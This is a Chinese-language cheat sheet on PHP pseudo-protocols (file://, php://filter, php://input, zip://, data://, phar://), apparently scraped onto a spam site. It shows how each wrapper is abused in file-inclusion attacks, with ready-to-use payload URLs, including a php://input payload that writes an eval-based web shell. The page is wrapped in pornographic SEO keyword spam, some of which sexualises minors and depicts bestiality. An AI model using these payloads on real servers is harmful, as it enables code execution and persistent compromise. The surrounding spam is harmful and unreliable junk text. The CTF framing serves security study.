成人怡红院-成人怡红院视频在线观看-成人影视大全-成人影院203nnxyz-美女毛片在线看-美女免费黄

站長資訊網
最全最豐富的資訊網站

PHP偽協議大總結【歡迎收藏】

file:// 協議

  • 條件

    • allow_url_fopen:off/on
    • allow_url_include :off/on
  • 作用
    用于訪問本地文件系統,在CTF中通常用來讀取本地文件的且不受allow_url_fopenallow_url_include的影響。
    include()/require()/include_once()/require_once()參數可控的情況下,如導入為非.php文件,則仍按照php語法進行解析,這是include()函數所決定的。
  • 說明
    file:// 文件系統是 PHP 使用的默認封裝協議,展現了本地文件系統。當指定了一個相對路徑(不以/、、或 Windows 盤符開頭的路徑)提供的路徑將基于當前的工作目錄。在很多情況下是腳本所在的目錄,除非被修改了。使用 CLI 的時候,目錄默認是腳本被調用時所在的目錄。在某些函數里,例如 fopen()file_get_contents()include_path 會可選地搜索,也作為相對的路徑。
  • 用法

    /path/to/file.ext relative/path/to/file.ext fileInCwd.ext C:/path/to/winfile.ext C:pathtowinfile.ext \smbserversharepathtowinfile.ext file:///path/to/file.ext
  • 示例

    1. file://[文件的絕對路徑和文件名]

      http://127.0.0.1/include.php?file=file://E:phpStudyPHPTutorialWWWphpinfo.txt

      PHP偽協議大總結【歡迎收藏】

    2. [文件的相對路徑和文件名]

      http://127.0.0.1/include.php?file=./phpinfo.txt

      PHP偽協議大總結【歡迎收藏】

    3. [http://網絡路徑和文件名]

      http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

      PHP偽協議大總結【歡迎收藏】

  • 參考:http://php.net/manual/zh/wrappers.file.php

php:// 協議

  • 條件

    • allow_url_fopen:off/on
    • allow_url_include :僅php://input php://stdin php://memory php://temp 需要on
  • 作用
    php:// 訪問各個輸入/輸出流(I/O streams),在CTF中經常使用的是php://filterphp://inputphp://filter用于讀取源碼php://input用于執行php代碼
  • 說明
    PHP 提供了一些雜項輸入/輸出(IO)流,允許訪問 PHP 的輸入輸出流、標準輸入輸出和錯誤描述符,
    內存中、磁盤備份的臨時文件流以及可以操作其他讀取寫入文件資源的過濾器。

    協議 作用
    php://input 可以訪問請求的原始數據的只讀流,在POST請求中訪問POST的data部分,在enctype="multipart/form-data" 的時候php://input 是無效的。
    php://output 只寫的數據流,允許以 print 和 echo 一樣的方式寫入到輸出緩沖區。
    php://fd (>=5.3.6)允許直接訪問指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。
    php://memory php://temp (>=5.1.0)一個類似文件包裝器的數據流,允許讀寫臨時數據。兩者的唯一區別是 php://memory 總是把數據儲存在內存中,而 php://temp 會在內存量達到預定義的限制后(默認是 2MB)存入臨時文件中。臨時文件位置的決定和 sys_get_temp_dir() 的方式一致。
    php://filter (>=5.0.0)一種元封裝器,設計用于數據流打開時的篩選過濾應用。對于一體式(all-in-one)的文件函數非常有用,類似 readfile()file()file_get_contents(),在數據流內容讀取之前沒有機會應用其他過濾器。
  • php://filter參數詳解

    該協議的參數會在該協議路徑上進行傳遞,多個參數都可以在一個路徑上傳遞。具體參考如下:

    php://filter 參數 描述
    resource=<要過濾的數據流> 必須項。它指定了你要篩選過濾的數據流。
    read=<讀鏈的過濾器> 可選項。可以設定一個或多個過濾器名稱,以管道符(* *)分隔。
    write=<寫鏈的過濾器> 可選項。可以設定一個或多個過濾器名稱,以管道符( )分隔。
    <; 兩個鏈的過濾器> 任何沒有以 read=write= 作前綴的篩選器列表會視情況應用于讀或寫鏈。
  • 可用的過濾器列表(4類)

    此處列舉主要的過濾器類型,詳細內容請參考:https://www.php.net/manual/zh/filters.php

    字符串過濾器 作用
    string.rot13 等同于str_rot13(),rot13變換
    string.toupper 等同于strtoupper(),轉大寫字母
    string.tolower 等同于strtolower(),轉小寫字母
    string.strip_tags 等同于strip_tags(),去除html、PHP語言標簽
    轉換過濾器 作用
    convert.base64-encode & convert.base64-decode 等同于base64_encode()base64_decode(),base64編碼解碼
    convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串與 8-bit 字符串編碼解碼
    壓縮過濾器 作用
    zlib.deflate & zlib.inflate 在本地文件系統中創建 gzip 兼容文件的方法,但不產生命令行工具如 gzip的頭和尾信息。只是壓縮和解壓數據流中的有效載荷部分。
    bzip2.compress & bzip2.decompress 同上,在本地文件系統中創建 bz2 兼容文件的方法。
    加密過濾器 作用
    mcrypt.* libmcrypt 對稱加密算法
    mdecrypt.* libmcrypt 對稱解密算法
  • 示例

    1. php://filter/read=convert.base64-encode/resource=[文件名]讀取文件源碼(針對php文件需要base64編碼)

      http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

      PHP偽協議大總結【歡迎收藏】

    2. php://input + [POST DATA]執行php代碼

      http://127.0.0.1/include.php?file=php://input [POST DATA部分] <?php phpinfo(); ?>

      PHP偽協議大總結【歡迎收藏】

      若有寫入權限,寫入一句話木馬

      http://127.0.0.1/include.php?file=php://input [POST DATA部分] <?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

      PHP偽協議大總結【歡迎收藏】

  • 參考:https://php.net/manual/zh/wrappers.php.php

zip:// & bzip2:// & zlib:// 協議

  • 條件

    • allow_url_fopen:off/on
    • allow_url_include :off/on
  • 作用zip:// & bzip2:// & zlib:// 均屬于壓縮流,可以訪問壓縮文件中的子文件,更重要的是不需要指定后綴名,可修改為任意后綴:jpg png gif xxx 等等。
  • 示例

    1. zip://[壓縮文件絕對路徑]%23[壓縮文件內的子文件名](#編碼為%23)

      壓縮 phpinfo.txt 為 phpinfo.zip ,壓縮包重命名為 phpinfo.jpg ,并上傳

      http://127.0.0.1/include.php?file=zip://E:phpStudyPHPTutorialWWWphpinfo.jpg%23phpinfo.txt

      PHP偽協議大總結【歡迎收藏】

    2. compress.bzip2://file.bz2

      壓縮 phpinfo.txt 為 phpinfo.bz2 并上傳(同樣支持任意后綴名)

      http://127.0.0.1/include.php?file=compress.bzip2://E:phpStudyPHPTutorialWWWphpinfo.bz2

      PHP偽協議大總結【歡迎收藏】

    3. compress.zlib://file.gz

      壓縮 phpinfo.txt 為 phpinfo.gz 并上傳(同樣支持任意后綴名)

      http://127.0.0.1/include.php?file=compress.zlib://E:phpStudyPHPTutorialWWWphpinfo.gz

      PHP偽協議大總結【歡迎收藏】

  • 參考:http://php.net/manual/zh/wrappers.compression.php

data:// 協議

  • 條件

    • allow_url_fopen:on
    • allow_url_include :on
  • 作用:自PHP>=5.2.0起,可以使用data://數據流封裝器,以傳遞相應格式的數據。通常可以用來執行PHP代碼。
  • 用法

    data://text/plain, data://text/plain;base64,
  • 示例

    1. data://text/plain,

      http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

      PHP偽協議大總結【歡迎收藏】

    2. data://text/plain;base64,

      http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

      PHP偽協議大總結【歡迎收藏】

http:// & https:// 協議

  • 條件

    • allow_url_fopen:on
    • allow_url_include :on
  • 作用:常規 URL 形式,允許通過 HTTP 1.0 的 GET方法,以只讀訪問文件或資源。CTF中通常用于遠程包含。
  • 用法

    http://example.com http://example.com/file.php?var1=val1&var2=val2 http://user:password@example.com https://example.com https://example.com/file.php?var1=val1&var2=val2 https://user:password@example.com
  • 示例

    http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

    PHP偽協議大總結【歡迎收藏】

phar:// 協議

phar://協議與zip://類似,同樣可以訪問zip格式壓縮包內容,在這里只給出一個示例:

http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

PHP偽協議大總結【歡迎收藏】

另外在 Black Hat 2018 大會上,研究人員公布了一款針對PHP應用程序的全新攻擊技術:phar://協議對象注入技術

因為該利用點需要滿足一定的條件才能利用,可以參考下面這篇文章,里面的demo也非常詳細,留作以后專門研究一下。

贊(0)
分享到: 更多 (0)
?
網站地圖   滬ICP備18035694號-2    滬公網安備31011702889846號
菠萝视频高清视频在线7| 欧美成人性生免费看的| 久久99久久99精品中文字幕| 久久久久亚洲AV综合波多野结衣| 美女浴室洗澡裸体爆乳无遮挡| 欧美极度另类XXⅩOO| 日日AV拍夜夜添久久免费| 无码人妻精品一区二区三| 亚洲国产精品成人无码区| 一本之道加勒比在线观看| AV优选天堂污污污成人亚洲| 从厨房到餐桌JOYCE| 国产裸体舞一区二区三区 | 色婷婷精品久久二区二区蜜臀av| 无人区码一码二码三MBA| 亚洲日韩欧洲乱码AV夜夜摸 | 欧美人与动牲交免费观看| 色妺妺AⅤ爽爽影院偷拍| 亚洲AV无码AV吞精久久| 中文在线А√在线天堂中文| 大帝A∨无码视频在线播放| 国精产品999永久中国有限公司| 久久综合亚洲鲁鲁九月天| 日本适合18岁以上的护肤品| 亚洲AV日韩AV高潮喷潮无码天| 在线永久无码不卡AV| 短裙公车被直接进入| 好男人观看免费视频2019| 能在线观看的一区二区三区| 天堂中文在线最新版地址| 亚洲人成电影一区二区在线| 按摩男让我高潮做了3次正常吗| 国产无套码AⅤ在线观看| 免费毛片在线看片免费丝瓜视频| 久久99久久99小草精品免视看| 男人J桶进女人P无遮挡全过程| 体验区试看120秒啪啪免费| 亚洲色婷婷综合开心网| 不卡无码人妻一区三区| 激情无码人妻又粗又大中国人| 欧美人与禽交片在线观看| 亚洲AV片毛片成人观看| CHINESE国产老熟女| 国产亚洲日韩欧美另类丝瓜APP | 雷神ちゃんが人気の原因| 少妇搡BBBB搡| 中国女人FREE性HD| 国产精品美女久久久浪潮AV | 爆乳护士HD完整版在线播放| 精品国产乱码久久久久久浪潮| 人妻无码一区二区19P| 亚洲美女高潮久久久久| 春色精品久久久久午夜aⅴ| 久久久久亚洲AV综合仓井空| 熟女俱乐部五十路二区AV| 在线观看片免费人成视频无码| 国产成人AV一区二区三区在线观| 麻豆AV无码精品一区二区| 五十老熟妇乱子伦免费观看| BGMBGMBGM胖老太太XX| 精品久久久久国产免费| 色妞精品AV一区二区三区| 伊人久久大香线焦AV色| 国产精品久久久久电影院| 欧美精品视频一区二区| 亚洲精品乱码久久久久久蜜桃不卡 | 亚洲精品无码高潮喷水在线| 丰满爆乳在线播放| 男女超爽视频免费播放| 亚洲AV永久无码精品古装片| 成人小说亚洲一区二区三区| 免费观看18禁欲无遮挡奶水下| 亚洲AV综合A国产AV中文| 动漫AV纯肉无码AV在线播放| 美女露100%双奶头无遮挡图片| 亚洲AV无码AV吞精久久| 父母全家儿女大联欢第14集| 欧美丰满性久久久久久久| 亚洲日韩乱码久久久久久| 国产精品久久一区二区三区| 人妻丰满熟妇av无码| 在线国内永久免费CRM| 狠狠噜天天噜日日噜AV| 色欲AV无码一区二区三区| AⅤ日本亚洲欧洲免费| 久久精品无码中文字幕老司机| 五月天久久久噜噜噜久久| 成人综合婷婷国产精品久久| 免费看美女被靠到爽的视频| 亚洲日韩AV无码中文字幕美国| 国产三级精品三级在线观看| 少妇太爽丰满一区二区| 啊灬啊别停灬用力啊| 男男H黄动漫啪啪无遮挡网站| 亚洲熟妇A∨日韩熟妇在线| 国产在线精品一区二区三区直播 | 凹凸国产熟女精品视频| 免费影视观看网站入口| 一本一道人人妻人人妻ΑV| 极品婬荡少妇XXXX欧美| 午夜私人理论电影| 国产成 人 黄 色 网 站 小说| 日本适合十八岁以下的护肤 | 清一区二区国产好的精华液| 中文字幕亚洲欧美专区| 久久熟女俱乐部五十路二区av| 亚洲成AV人片天堂网久久| 国产亚洲成AV片在线观看蜜桃| 玩两个丰满老熟女久久网| 寡妇下面好黑好毛| 色综合久久综合欧美综合网| 被吊起来张开腿供人玩弄| 欧美午夜精品久久久久免费视| 18黑白丝水手服自慰喷水网站 | 久久久久久精品免费不卡| 亚洲国产美女精品久久久久∴ | 国产午夜激无码AV片在线观看 | 国产亚洲视频在线观看播放| 无码无遮挡又大又爽又黄的视频| 国产成人精品午夜福利在线观看 | 欧美黑人粗大猛烈18P| 91人妻超碰亚洲| 女人张开腿扒开内裤让男生桶| 2019午夜福利不卡片在线| 女人两个奶被揉到高潮就不想了| √新版天堂资源在线资源| 男女做AJ视频免费的网站| 92国产精品午夜福利| 欧美国产成人精品二区芒果视频| BBOX撕裂BASS后门BD| 欧美老少配XXXOOO性HD| めんたいさんでぃふぇんすっ甘雨| 人妻互换一二三区激情视频| 成年视频APP短视频在线观看| 日日摸夜夜摸狠狠摸婷婷| 国产92刮伦脏话对白| 无码人妻久久久一区二区三区 | 亚洲国产成人无码AV在线| 激情人妻另类人妻伦| 亚洲一区二区三区橡胶防水| 老外和中国女人毛片免费视频| 666西方大但人文艺术| 人妻丰满熟妇AV无码区乱| 产高清在线精品一区二区三区| 久久久久99人妻一区二区三区| 影音先锋2017AV天堂| 妺妺自愿做我的性玩具| YY8090福利午夜理论片| 日韩无码视频一区二区| 94久久国产乱子伦精品免费| 琪琪午夜伦埋影院77| 东京无码熟妇人妻AV在线网址| 无遮挡呻吟娇喘视频免费播放| 狠狠躁天天躁日日躁欧美| 一本大道香蕉大L在线吗视频| 女人自熨全过程直播| 厨房丝袜麻麻被后进怀孕| 无码人妻毛片丰滿熟婦区毛片色欲 | 少妇爆乳无码AV专区网站寝取| 国产网红无码精品视频| 野花高清完整版免费观看视频电视 | 丰满少妇高潮在线播放不卡 | 狠狠色噜噜狠狠狠8888米奇 | 丰满人妻妓熟妇又伦精品软件| 无码专区狠狠躁躁天天躁| 九九AV高潮AV无码AV喷吹| 97人妻成人免费视频| 少妇高潮毛片免费看| 狠狠噜天天噜日日噜| 12孩岁女A处破娇小| 色翁荡息又大又硬又粗又爽| 国内永久免费CRM系统Z在线| 越看越湿的啪啪的小说免费| 日本最大胆的人文体艺术| 国产性大战XXXXX久久久| 真人荫道口图片100张| 日韩欧美亚洲综合久久影院D3| 好紧我太爽了视频免费| 92午夜少妇极品福利无码电影| 婷婷5月女内射AV| 久久九九兔免费精品6| 扒开腿挺进湿润的花苞| 亚洲AV无码成电影在线播放| 妺妺跟我一起洗澡没忍住| 国产成人牲交在线观看视频| 野花高清完整版免费观看视频电视 | 无码日韩精品一区二区三区免费 | 亚洲AV日韩精品久久久久| 免费三级现频在线观看免费| 国产成人无码A在线观看不卡| 亚洲中字幕日产2021草莓| 人与畜禽共性关系的重要性有哪些 | 日本久久久久久久久久加勒比| 狠狠色噜噜狠狠狠狠7777| SHOPIFY日本站5ZAWW| 亚洲AV日韩AV无码| 欧美性猛交XXXX乱大交视频| 国精品无码一区二区三区在线蜜臀 | 色YEYE香蕉凹凸视频在线观看| 久久精品国产亚洲无删除|